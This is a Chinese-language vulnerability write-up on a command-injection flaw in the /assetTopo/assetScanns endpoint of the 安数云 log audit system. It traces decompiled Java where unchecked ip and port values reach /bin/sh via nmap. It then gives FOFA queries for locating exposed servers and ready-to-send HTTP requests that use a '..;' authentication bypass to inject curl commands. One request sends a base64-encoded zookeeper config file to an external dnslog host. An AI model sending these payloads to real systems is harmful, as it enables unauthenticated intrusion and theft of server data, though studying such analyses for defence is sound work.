漏洞简介
安数云日志审计系统是安数云公司自主研发的专业日志安全审计产品。该系统可以实时监视网络中的各种操作行为和攻击信息,通过事件监控模块监控网络设备、主机系统等的日志信息,及时发现正在发生和已经发生的安全事件,并通过响应模块采取措施,确保网络和业务系统的安全。安数云综合日志分析系统的 /assetTopo/assetScanns 接口存在命令执行漏洞,攻击者可以利用该漏洞在服务器端执行任意命令,写入后门,获取服务器权限,进而控制整个web服务器。
影响版本
fofa语法
(fid="ABUp4kzJ+itzKQ+J4McbEw==") && (is_honeypot=false && is_fraud=false)
(icon_hash="829311222" || icon_hash="-2008445303") && (is_honeypot=false && is_fraud=false)
漏洞分析
漏洞触发位置在com.datacloudsec.web.asset.controller.AssetTopoController中,看下有关assetScanns的处理逻辑
@RequestMapping({"/assetScanns"})
@FuncAuthIntercept
public Object assetScanns(@RequestParam("ip") String ip, @RequestParam("port") String port) {
this.lastScanConfig = new ScanConfigBean(ip, port);
FileKit.ensureDirExist(this.webConfig.getOutputPath());
String outputPath = FileKit.absolutePath(this.webConfig.getOutputPath() + File.separatorChar + "nmap_output.xml");
boolean result = this.assetScannService.assetScann(outputPath, ip, port);
if (!result)
return WebKit.okMap("error");
return WebKit.okMap();
}
参数ip和port被带入assetScann方法中
public boolean assetScann(String fileSrc, String ip, String port) {
String nmapDir = "nmap ";
StringBuffer command = new StringBuffer();
if (null == port || port.trim().equals("")) {
command.append("-sV ");
} else {
command.append("-sV -p ");
command.append(port);
command.append(" ");
}
command.append(ip);
command.append(" --open --min-hostgroup 1024 --min-parallelism 10 --host-timeout 30 -O -T4 -oX ");
boolean scannBool = true;
try {
scannBool = getScannXmlFile(nmapDir, command.toString(), fileSrc);
} catch (IOException e) {
logger.info("Scann Error");
}
return scannBool;
}
如果参数port不为空或者null这在拼接在command中 -sV -p port,然后再将ip拼接在后面,最后进入getScannXmlFile方法中
private boolean getScannXmlFile(String nmapDir, String command, String fileSrc) throws IOException {
logger.info("scann host =============:" + nmapDir + command + fileSrc);
(new Thread(() -> CmdKit.execute(nmapDir + command + fileSrc))).start();
return true;
}
调用CmdKit.execute执行上面拼接的命令
public static boolean execute(String cmd) {
String result = executeForStr(cmd);
return !"EXECUTE_ERROR".equals(result);
}
跟进executeForStr方法,其中对针对不同的系统使用 cmd /c 或者 /bin/sh 调用Runtime.getRuntime().exec执行最终的命令
public static String executeForStr(String cmd) {
if (StringUtils.isBlank(cmd))
return "EXECUTE_ERROR";
BufferedReader bufferedReader = null;
try {
StringBuilder output = new StringBuilder(100);
String[] cmdString = new String[3];
if (isWindowsOS()) {
cmdString[0] = "cmd.exe";
cmdString[1] = "/C";
} else {
cmdString[0] = "/bin/sh";
cmdString[1] = "-c";
}
cmdString[2] = cmd;
Process process = Runtime.getRuntime().exec(cmdString);
bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = bufferedReader.readLine()) != null)
output.append(line);
logger.info("cmd is [{}]", cmd);
logger.info("cmd result is [{}]", output.toString());
int exitValue = process.waitFor();
if (exitValue != 0)
logger.error("executeForStr failure, exitValue is {}!", Integer.valueOf(exitValue));
return output.toString();
} catch (Exception e) {
logger.error(e.getMessage());
return "EXECUTE_ERROR";
} finally {
IOUtils.closeQuietly(bufferedReader);
}
}
至此,可以看到整个流程都没有对传入的参数ip和port进行校验或者过滤,因此造成命令注入漏洞。
该系统还存在几处需要adm权限(登录后)的命令注入点,由于需要权限,暂不赘述。
漏洞复现

POST /js/..;/assetTopo/assetScanns HTTP/1.1
Host: datacloudsec.mrxn.net
Content-Type: application/x-www-form-urlencoded
ip=127.0.0.1;curl xxx.xx.xxx.dnslog.pt;&port=80
命令执行结果外带
POST /js/..;/assetTopo/assetScanns HTTP/1.1
Host: datacloudsec.mrxn.net
Content-Type: application/x-www-form-urlencoded
ip=127.0.0.1;curl xxx.xx.xxx.dnslog.pt -d `cat /opt/software/zookeeper/conf/zoo.cfg |base64 -w 0`;&port=80 
